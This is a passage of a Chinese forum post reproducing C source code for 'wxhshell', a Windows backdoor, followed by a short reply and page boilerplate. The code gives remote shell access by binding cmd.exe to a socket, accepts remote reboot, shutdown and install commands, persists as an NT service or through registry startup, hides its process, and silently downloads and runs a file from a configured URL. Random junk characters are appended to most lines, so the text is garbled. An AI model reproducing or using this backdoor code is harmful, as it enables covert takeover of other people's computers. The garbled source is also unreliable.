[kgT"?w=  
    switch(cmd[0]) { g1L$+xD^  
  +O}6 8 N  
  // 帮助 w`,[w,t  
  case '?': { FZz\z p  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); fQlR;4QX]  
    break; _L(6F T J  
  } -*k%'Gr  
  // 安装 #O z<<G<  
  case 'i': { g/W<;o<v(I  
    if(Install()) cUaLv1:HI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O82T|0uw  
    else eCMcr !.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gk*Mx6|N  
    break; vY<(3[pp  
    } q*TH),)J  
  // 卸载 "0+_P{w+  
  case 'r': { @P6K`'.0  
    if(Uninstall()) U^?/nRZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gAC}  
    else !E,$@mvd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B cd6 ~  
    break; g1JD8~a  
    } K_oBSa`  
  // 显示 wxhshell 所在路径 bS<lB!  
  case 'p': { \f1r/e(G|  
    char svExeFile[MAX_PATH]; 3Tg  
    strcpy(svExeFile,"\n\r"); 6gJy<a3  
      strcat(svExeFile,ExeFile); @3c5"  
        send(wsh,svExeFile,strlen(svExeFile),0); ]nhLv!Co  
    break; -7*,}xV  
    } b[? 6/#N  
  // 重启 /d9I2~}B  
  case 'b': { [#kfl  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #QQ\xj  
    if(Boot(REBOOT)) QQ!%lbMK]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'N)&;ADx-G  
    else { cfMj^*I  
    closesocket(wsh); uI@:\Rss  
    ExitThread(0); FEw51a+V  
    } 5Jd&3pO  
    break; Ku*@4#<L6h  
    } ! ]&a/$U  
  // 关机 aJ88U69  
  case 'd': { muo(bR8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); U_m<W$"HF  
    if(Boot(SHUTDOWN)) m.EI("n"J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gn #5zx#l  
    else { 5Az=)q4Q  
    closesocket(wsh); <33[qt~  
    ExitThread(0); q-eC=!#}  
    } k/=J<?h0  
    break; .%<oy"_  
    } X{P_HCd  
  // 获取shell ez&v"J  
  case 's': { =Bi>$Ly  
    CmdShell(wsh); t8\F7F P  
    closesocket(wsh); )\l}i%L:  
    ExitThread(0); $SRpFz5y$  
    break; Yvs)H'n=  
  } *oL?R2#7  
  // 退出 vXLiYWo  
  case 'x': { ZOK2BCoW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f{FW7T}O2  
    CloseIt(wsh); y/h~oGxy  
    break; {*ATY+  
    } D3$PvX[f  
  // 离开 3bu VU& ap  
  case 'q': { e3"GC_*#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); EA|*|o4)  
    closesocket(wsh); iUFS1SN \  
    WSACleanup(); IkFrzw p  
    exit(1); [0El z@.C  
    break; |sMRIW,P  
        } SGre[+m~m  
  } U8-#W(tRR  
  } /jaTH_Q),:  
|Nd!+zE$Z  
  // 提示信息 57*z0<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b4ZZyw  
} QxH%4 )?  
  } R22YKXU  
7/a[;`i*!  
  return; S3EY9:^ C  
} )."_i64  
6x)7=_:0  
// shell模块句柄 P{i\x#  
int CmdShell(SOCKET sock) sI7d?+  
{ ri1D*CS  
STARTUPINFO si; zR6,?Tzg  
ZeroMemory(&si,sizeof(si)); ('xIFi  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zUXQl{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^.p({6H  
PROCESS_INFORMATION ProcessInfo; ^90';ACFy  
char cmdline[]="cmd"; So{/V%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N9tH0  
  return 0; x2=Bu#Y  
} }pdn-#  
H<#M)8  
// 自身启动模式 #(F/P!qk  
int StartFromService(void) JS <S?j?*/  
{ <qT[  
typedef struct ?1*Ka  
{ m_zl*s*6  
  DWORD ExitStatus; .T 6 NMIp*  
  DWORD PebBaseAddress; =e](eA;  
  DWORD AffinityMask; h:-ZXIv?  
  DWORD BasePriority;  QMLz  
  ULONG UniqueProcessId; 1"YN{Ut;G  
  ULONG InheritedFromUniqueProcessId; 1fm4:xHH  
}   PROCESS_BASIC_INFORMATION; NY 756B*  
Atc9[<~WG  
PROCNTQSIP NtQueryInformationProcess;  <K;  
C]414Ibi  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *`Swv`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `ltc)$  
FM;NA{  
  HANDLE             hProcess; g5M=$y/H  
  PROCESS_BASIC_INFORMATION pbi; $s+/OgG4H  
 (-Cxv`7  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nNz1gV:0X  
  if(NULL == hInst ) return 0; rR]U Ff  
{L~j;p_G&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); +wc8rE6+W  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7rQwn2XD{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); =!)Ye:\Q  
)UbPG`x8  
  if (!NtQueryInformationProcess) return 0; TwlX'iI_;  
7'Z-VO  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YbtsJ <w  
  if(!hProcess) return 0; g xY6M4  
3}dTbr4y  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VK*Dm:G0  
waI?X2  
  CloseHandle(hProcess); [p3{d\=*?  
uP, iGA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ( m/uj z  
if(hProcess==NULL) return 0; SW5V:|/  
Gu+9R>  
HMODULE hMod; :No`+X[Kq  
char procName[255]; 2(LF @xb  
unsigned long cbNeeded; K+MSjQS"  
7irpD7P>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); -fpe  
H3-(.l[!b)  
  CloseHandle(hProcess); ^Ej$o@PH  
E|{(O  
if(strstr(procName,"services")) return 1; // 以服务启动 %"-bG'Yc  
#lAC:>s3U  
  return 0; // 注册表启动 uN>JX/-  
} oCfO:7  
GT.1,E ,Vw  
// 主模块 )U12Rshl  
int StartWxhshell(LPSTR lpCmdLine) >[}lC7 z,  
{ R !g'zS'  
  SOCKET wsl; `#HtVI  
BOOL val=TRUE; yq.<,b=87  
  int port=0; f~Y;ZvB  
  struct sockaddr_in door; ezimQ  
Jq>rA  
  if(wscfg.ws_autoins) Install(); Z$ ?(~ln  
%,T=|5  
port=atoi(lpCmdLine); M[  {O%!  
WC0z'N({W  
if(port<=0) port=wscfg.ws_port; Kb X&E0  
-t]3 gCLb  
  WSADATA data; lXtsnQOOK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 88Nx/:#Y*  
@)#EZQix  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5aj%<r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I3gl+)Q  
  door.sin_family = AF_INET; {zX]4 1T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Fn>KdoByN  
  door.sin_port = htons(port); )<Fq}Q86  
4)"S /u  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Zd5Jz+f  
closesocket(wsl); R2Es~T  
return 1; -pmb-#`M  
} Gj_7wP$  
^H"o=K8=  
  if(listen(wsl,2) == INVALID_SOCKET) { !3F3E8%  
closesocket(wsl); Su/8P[q_  
return 1; {W+IUvn  
} 6VUs:iO1j5  
  Wxhshell(wsl); KH$|wv  
  WSACleanup(); s&hJ[$i  
JBhM*-t(M1  
return 0; k5M5bH',  
vtq$@#?~ b  
} xU/7}='T  
kEgpF{"%n  
// 以NT服务方式启动 clG@]<a`_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7|5X> yt  
{ Ii9[[I  
DWORD   status = 0; :)Pj()Os|  
  DWORD   specificError = 0xfffffff; 3 daI_Nx>  
lArKfs/   
  serviceStatus.dwServiceType     = SERVICE_WIN32; +7\d78U  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; '-U&S  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]p8 zT|bv  
  serviceStatus.dwWin32ExitCode     = 0; * N]^(+/A  
  serviceStatus.dwServiceSpecificExitCode = 0; SZ29B  
  serviceStatus.dwCheckPoint       = 0; l+#J oc<8  
  serviceStatus.dwWaitHint       = 0; 0iYo&q'n  
_01wRsm%2  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nb<e<>L  
  if (hServiceStatusHandle==0) return; jme`Tyd  
0~~yYo&  
status = GetLastError(); \q($8<  
  if (status!=NO_ERROR) {xAd>fGG+y  
{ vPz$+&{I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; hkb&]XWi[  
    serviceStatus.dwCheckPoint       = 0; 5JHWt<n{P  
    serviceStatus.dwWaitHint       = 0; +4$][3.  
    serviceStatus.dwWin32ExitCode     = status; PYBE?td  
    serviceStatus.dwServiceSpecificExitCode = specificError; e)= " Fq!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); T>f6V 5  
    return; OlB9z  
  } b'``0OB)  
z&cM8w:  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7Db}bDU1 |  
  serviceStatus.dwCheckPoint       = 0; Jd^Lnp6?  
  serviceStatus.dwWaitHint       = 0; T|8:_4/l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @@j:z;^|  
} iC3C~?,7  
|Fz ^(US  
// 处理NT服务事件,比如:启动、停止 [^Bjmw[7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?&'Kw>s@  
{ O\CnKNk,  
switch(fdwControl) gu6%$z  
{ p}3` "L=  
case SERVICE_CONTROL_STOP: ue^HhZ9  
  serviceStatus.dwWin32ExitCode = 0; ,z<1:st]<  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; &|j0GP&  
  serviceStatus.dwCheckPoint   = 0; 3&>0'h  
  serviceStatus.dwWaitHint     = 0; wVqp')e  
  { 2}=@n*8*d  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [UXN= 76N  
  } T/A2Y+@N;  
  return; 2"HTD|yy  
case SERVICE_CONTROL_PAUSE: *Y?oAVkz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; r;xy/*%Mtj  
  break; m}u)C&2>  
case SERVICE_CONTROL_CONTINUE: %ufh  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "={*0P  
  break; F^$;hMh%  
case SERVICE_CONTROL_INTERROGATE: n$N$OFuO  
  break; Fgi`g{N  
}; }K8e(i6z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LPBa!fq  
} Ui!l3_O  
tAE(`ow/Ur  
// 标准应用程序主函数 5JhvYsf3_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !ej]'>V,X  
{ x!fG%o~h  
QyxUK}6mr  
// 获取操作系统版本 ]=VRct "  
OsIsNt=GetOsVer(); ^*i0~_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Gbjh|j=  
>{QO$F#  
  // 从命令行安装 aW*k,\:e  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^D5Jqh)  
pmUf*u-  
  // 下载执行文件 YGC%j  
if(wscfg.ws_downexe) { =Q{?!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) VP>*J`'H  
  WinExec(wscfg.ws_filenam,SW_HIDE); [zBi*%5O  
} O^3kPVr  
[al$sCD]+  
if(!OsIsNt) { A+!,{G  
// 如果时win9x,隐藏进程并且设置为注册表启动 zBlv?JwG  
HideProc(); Cdib{y<ji  
StartWxhshell(lpCmdLine); L-}J=n\  
} 5wmd[YL  
else #GLW3}  
  if(StartFromService()) ,% Qh S5e  
  // 以服务方式启动 'UUj(1 f  
  StartServiceCtrlDispatcher(DispatchTable); f+Acs*. GQ  
else WB?HY?[r  
  // 普通方式启动 (w#t V*  
  StartWxhshell(lpCmdLine); (De{r|  
]VxC]a2  
return 0; Y*$>d/E  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
批量上传需要先选择文件,再选择上传
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八